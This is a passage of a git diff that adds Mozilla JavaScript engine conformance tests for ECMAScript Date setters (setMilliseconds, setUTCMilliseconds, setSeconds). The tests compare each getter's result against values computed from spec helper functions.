+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.24-5.js b/js/src/tests/ecma/Date/15.9.5.24-5.js
new file mode 100644
index 000000000..1107ab9e8
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.24-5.js
@@ -0,0 +1,101 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.24-1.js
+ ECMA Section: 15.9.5.24 Date.prototype.setTime(time)
+ Description:
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var TITLE = "Date.prototype.setTime"
+ var SECTION = "15.9.5.24-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setMilliseconds(ms)");
+
+
+addTestCase( 0, "0" );
+
+test();
+
+function addTestCase( startms, newms ) {
+
+ var DateCase = new Date( startms );
+ DateCase.setMilliseconds( newms );
+ var DateString = "var date = new Date("+ startms +"); date.setMilliseconds("+ newms +"); date";
+ var localms = UTC( Number(newms) + LocalTime( Number(startms) ) );
+ var UTCDate = UTCDateFromTime( localms );
+ var LocalDate = LocalDateFromTime( localms );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.24-6.js b/js/src/tests/ecma/Date/15.9.5.24-6.js
new file mode 100644
index 000000000..0375cb19f
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.24-6.js
@@ -0,0 +1,101 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.24-1.js
+ ECMA Section: 15.9.5.24 Date.prototype.setTime(time)
+ Description:
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var TITLE = "Date.prototype.setTime"
+ var SECTION = "15.9.5.24-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setMilliseconds(ms)");
+
+
+addTestCase( 0, "-2208988800000" );
+
+test();
+
+function addTestCase( startms, newms ) {
+
+ var DateCase = new Date( startms );
+ DateCase.setMilliseconds( newms );
+ var DateString = "var date = new Date("+ startms +"); date.setMilliseconds("+ newms +"); date";
+ var localms = UTC( Number(newms) + LocalTime( Number(startms) ) );
+ var UTCDate = UTCDateFromTime( localms );
+ var LocalDate = LocalDateFromTime( localms );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.24-7.js b/js/src/tests/ecma/Date/15.9.5.24-7.js
new file mode 100644
index 000000000..171786cf3
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.24-7.js
@@ -0,0 +1,101 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.24-1.js
+ ECMA Section: 15.9.5.24 Date.prototype.setTime(time)
+ Description:
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var TITLE = "Date.prototype.setTime"
+ var SECTION = "15.9.5.24-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setMilliseconds(ms)");
+
+
+addTestCase( 0, "-86400000" );
+
+test();
+
+function addTestCase( startms, newms ) {
+
+ var DateCase = new Date( startms );
+ DateCase.setMilliseconds( newms );
+ var DateString = "var date = new Date("+ startms +"); date.setMilliseconds("+ newms +"); date";
+ var localms = UTC( Number(newms) + LocalTime( Number(startms) ) );
+ var UTCDate = UTCDateFromTime( localms );
+ var LocalDate = LocalDateFromTime( localms );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.24-8.js b/js/src/tests/ecma/Date/15.9.5.24-8.js
new file mode 100644
index 000000000..96a07b68a
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.24-8.js
@@ -0,0 +1,100 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.24-1.js
+ ECMA Section: 15.9.5.24 Date.prototype.setTime(time)
+ Description:
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var TITLE = "Date.prototype.setTime"
+ var SECTION = "15.9.5.24-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setMilliseconds(ms)");
+
+addTestCase( 0, "946684800000" );
+
+test();
+
+function addTestCase( startms, newms ) {
+
+ var DateCase = new Date( startms );
+ DateCase.setMilliseconds( newms );
+ var DateString = "var date = new Date("+ startms +"); date.setMilliseconds("+ newms +"); date";
+ var localms = UTC( Number(newms) + LocalTime( Number(startms) ) );
+ var UTCDate = UTCDateFromTime( localms );
+ var LocalDate = LocalDateFromTime( localms );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.25-1.js b/js/src/tests/ecma/Date/15.9.5.25-1.js
new file mode 100644
index 000000000..d6f7e9d79
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.25-1.js
@@ -0,0 +1,140 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.25-1.js
+ ECMA Section: 15.9.5.25 Date.prototype.setUTCMilliseconds(ms)
+ Description:
+ 1. Let t be this time value.
+ 2. Call ToNumber(ms).
+ 3. Compute MakeTime(HourFromTime(t), MinFromTime(t), SecFromTime(t), Result(2)).
+ 4. Compute MakeDate(Day(t), Result(3)).
+ 5. Set the [[Value]] property of the this value to TimeClip(Result(4)).
+ 6. Return the value of the [[Value]] property of the this value.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "15.9.5.25-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setUTCMilliseconds(ms)");
+
+addNewTestCase( 0, 0, "TDATE = new Date(0);(TDATE).setUTCMilliseconds(0);TDATE",
+ UTCDateFromTime(SetUTCMilliseconds(0,0)),
+ LocalDateFromTime(SetUTCMilliseconds(0,0)) );
+addNewTestCase( 28800000,999,
+ "TDATE = new Date(28800000);(TDATE).setUTCMilliseconds(999);TDATE",
+ UTCDateFromTime(SetUTCMilliseconds(28800000,999)),
+ LocalDateFromTime(SetUTCMilliseconds(28800000,999)) );
+addNewTestCase( 28800000,-28800000,
+ "TDATE = new Date(28800000);(TDATE).setUTCMilliseconds(-28800000);TDATE",
+ UTCDateFromTime(SetUTCMilliseconds(28800000,-28800000)),
+ LocalDateFromTime(SetUTCMilliseconds(28800000,-28800000)) );
+addNewTestCase( 946684800000,1234567,
+ "TDATE = new Date(946684800000);(TDATE).setUTCMilliseconds(1234567);TDATE",
+ UTCDateFromTime(SetUTCMilliseconds(946684800000,1234567)),
+ LocalDateFromTime(SetUTCMilliseconds(946684800000,1234567)) );
+addNewTestCase( 946684800000, 123456789,
+ "TDATE = new Date(946684800000);(TDATE).setUTCMilliseconds(123456789);TDATE",
+ UTCDateFromTime(SetUTCMilliseconds(946684800000,123456789)),
+ LocalDateFromTime(SetUTCMilliseconds(946684800000,123456789)) );
+
+addNewTestCase( -2208988800000,123456789,
+ "TDATE = new Date(-2208988800000);(TDATE).setUTCMilliseconds(123456789);TDATE",
+ UTCDateFromTime(SetUTCMilliseconds(-2208988800000,123456789)),
+ LocalDateFromTime(SetUTCMilliseconds(-2208988800000,123456789)) );
+
+addNewTestCase( -2208988800000,123456,
+ "TDATE = new Date(-2208988800000);(TDATE).setUTCMilliseconds(123456);TDATE",
+ UTCDateFromTime(SetUTCMilliseconds(-2208988800000,123456)),
+ LocalDateFromTime(SetUTCMilliseconds(-2208988800000,123456)) );
+
+addNewTestCase( -2208988800000,-123456,
+ "TDATE = new Date(-2208988800000);(TDATE).setUTCMilliseconds(-123456);TDATE",
+ UTCDateFromTime(SetUTCMilliseconds(-2208988800000,-123456)),
+ LocalDateFromTime(SetUTCMilliseconds(-2208988800000,-123456)) );
+
+addNewTestCase( 0,-999,
+ "TDATE = new Date(0);(TDATE).setUTCMilliseconds(-999);TDATE",
+ UTCDateFromTime(SetUTCMilliseconds(0,-999)),
+ LocalDateFromTime(SetUTCMilliseconds(0,-999)) );
+
+test();
+
+function addNewTestCase( initialTime, ms, DateString, UTCDate, LocalDate) {
+ DateCase = new Date(initialTime);
+ DateCase.setUTCMilliseconds(ms);
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
+
+function SetUTCMilliseconds( T, MS ) {
+ T = Number( T );
+ TIME = MakeTime( HourFromTime(T),
+ MinFromTime(T),
+ SecFromTime(T),
+ MS );
+ return( MakeDate( Day(T), TIME ));
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.26-1.js b/js/src/tests/ecma/Date/15.9.5.26-1.js
new file mode 100644
index 000000000..f9c6c6eb3
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.26-1.js
@@ -0,0 +1,149 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/** File Name: 15.9.5.26-1.js
+ ECMA Section: 15.9.5.26 Date.prototype.setSeconds(sec [,ms])
+ Description:
+
+ If ms is not specified, this behaves as if ms were specified with the
+ value getMilliseconds( ).
+
+ 1. Let t be the result of LocalTime(this time value).
+ 2. Call ToNumber(sec).
+ 3. If ms is not specified, compute msFromTime(t); otherwise, call
+ ToNumber(ms).
+ 4. Compute MakeTime(HourFromTime(t), MinFromTime(t), Result(2),
+ Result(3)).
+ 5. Compute UTC(MakeDate(Day(t), Result(4))).
+ 6. Set the [[Value]] property of the this value to TimeClip(Result(5)).
+ 7. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "15.9.5.26-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setSeconds(sec [,ms] )");
+
+addNewTestCase( 0, 0, 0,
+ "TDATE = new Date(0);(TDATE).setSeconds(0,0);TDATE",
+ UTCDateFromTime(SetSeconds(0,0,0)),
+ LocalDateFromTime(SetSeconds(0,0,0)) );
+
+addNewTestCase( 28800000,59,999,
+ "TDATE = new Date(28800000);(TDATE).setSeconds(59,999);TDATE",
+ UTCDateFromTime(SetSeconds(28800000,59,999)),
+ LocalDateFromTime(SetSeconds(28800000,59,999)) );
+
+addNewTestCase( 28800000,999,999,
+ "TDATE = new Date(28800000);(TDATE).setSeconds(999,999);TDATE",
+ UTCDateFromTime(SetSeconds(28800000,999,999)),
+ LocalDateFromTime(SetSeconds(28800000,999,999)) );
+
+addNewTestCase( 28800000,999, void 0,
+ "TDATE = new Date(28800000);(TDATE).setSeconds(999);TDATE",
+ UTCDateFromTime(SetSeconds(28800000,999,0)),
+ LocalDateFromTime(SetSeconds(28800000,999,0)) );
+
+addNewTestCase( 28800000,-28800, void 0,
+ "TDATE = new Date(28800000);(TDATE).setSeconds(-28800);TDATE",
+ UTCDateFromTime(SetSeconds(28800000,-28800)),
+ LocalDateFromTime(SetSeconds(28800000,-28800)) );
+
+addNewTestCase( 946684800000,1234567,void 0,
+ "TDATE = new Date(946684800000);(TDATE).setSeconds(1234567);TDATE",
+ UTCDateFromTime(SetSeconds(946684800000,1234567)),
+ LocalDateFromTime(SetSeconds(946684800000,1234567)) );
+
+addNewTestCase( -2208988800000,59,999,
+ "TDATE = new Date(-2208988800000);(TDATE).setSeconds(59,999);TDATE",
+ UTCDateFromTime(SetSeconds(-2208988800000,59,999)),
+ LocalDateFromTime(SetSeconds(-2208988800000,59,999)) );
+
+test();
+
+function addNewTestCase( startTime, sec, ms, DateString,UTCDate, LocalDate) {
+ DateCase = new Date( startTime );
+ if ( ms != void 0 ) {
+ DateCase.setSeconds( sec, ms );
+ } else {
+ DateCase.setSeconds( sec );
+ }
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
